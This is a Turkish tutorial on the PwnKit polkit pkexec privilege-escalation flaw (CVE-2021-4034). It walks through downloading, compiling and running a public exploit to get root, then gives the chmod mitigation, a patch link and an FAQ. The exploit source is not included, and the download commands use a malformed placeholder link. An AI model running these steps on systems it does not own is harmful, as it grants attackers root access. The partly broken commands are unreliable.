PwnKit Nedir?

Qualys Araştırma Ekibi, her büyük Linux dağıtımına varsayılan olarak yüklenen bir SUID kök programı olan polkit'in pkexec'inde bir bellek bozulması güvenlik açığı keşfetti. Kolayca yararlanılabilen bu güvenlik açığı, ayrıcalığı olmayan herhangi bir kullanıcının, bu güvenlik açığından varsayılan yapılandırmasında yararlanarak güvenlik açığı bulunan bir ana bilgisayarda tam kök ayrıcalıkları elde etmesine olanak tanır.
Polkit (eski adıyla PolicyKit), Unix benzeri işletim sistemlerinde sistem çapında ayrıcalıkları kontrol etmeye yönelik bir bileşendir. Ayrıcalıklı olmayan süreçlerin ayrıcalıklı süreçlerle iletişim kurması için organize bir yol sağlar. Ayrıca, pkexec komutunu ve ardından yürütülmesi amaçlanan komutu (kök izniyle) kullanarak yükseltilmiş ayrıcalıklara sahip komutları yürütmek için polkit kullanmak da mümkündür.
(CVE-2021-4034)
Ön Gereksinimler
- unzip
- gcc
Etkilenen sürümler
- 2009'dan itibaren tüm Polkit sürümleri savunmasızdır. (Patch Geçilen ve İzinleri düzeltilenler hariç.)
PwnKit Kullanımı
Aşağıdaki linkten dosyanın bağlantı linkini kopyalayalım.
Sunucuda /tmp dizinine gidelim.
cd /tmp
git clone, wget veya curl aracı kullanarak indirme işlemini gerçekleştirelim.
git https:/link
curl -LJO https:/link
wget --no-check-certificate --content-disposition https:/link

İndirdiğimiz zip dosyalarını çıkartalım.
unzip CVE-2021-4034-main.zip
İndirdiğimiz dizinin içine ve GNU Derleyici Koleksiyonunu kullanarak derleyelim.
gcc exploit.c -o exploit
Artık exploit çalıştırabiliriz.
./exploit
Eğer aşağıdaki gibi bir çıktı alıyorsanız, açık kapatılmıştır.
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” pkexec must be setuid root
PwnKit Açığının Kapatılması
Güvenlik açığını kapatmak için, izinleri değiştirmeniz yeterlidir.
chmod 0755 /usr/bin/pkexec
Sık Sorulan Sorunlar
Hangi sürümler savunmasızdır?
2009'dan itibaren tüm Polkit sürümleri savunmasızdır.
Bu güvenlik açığı için herhangi bir azaltma var mı?
İşletim sisteminiz için herhangi bir yama yoksa, geçici bir etki olarak SUID bitini pkexec'ten kaldırabilirsiniz; örneğin:
sudo chmod 0755 /usr/bin/pkexec
Açık için yayınlanan yama için bakınız:
https://security-tracker.debian.org/tracker/source-package/policykit-1
Bu güvenlik açığı uzaktan kullanılabilir mi?
Hayır. Ancak bir saldırgan herhangi bir ayrıcalıksız kullanıcı olarak oturum açabilirse, kök ayrıcalıkları elde etmek için güvenlik açığından hızla yararlanılabilir.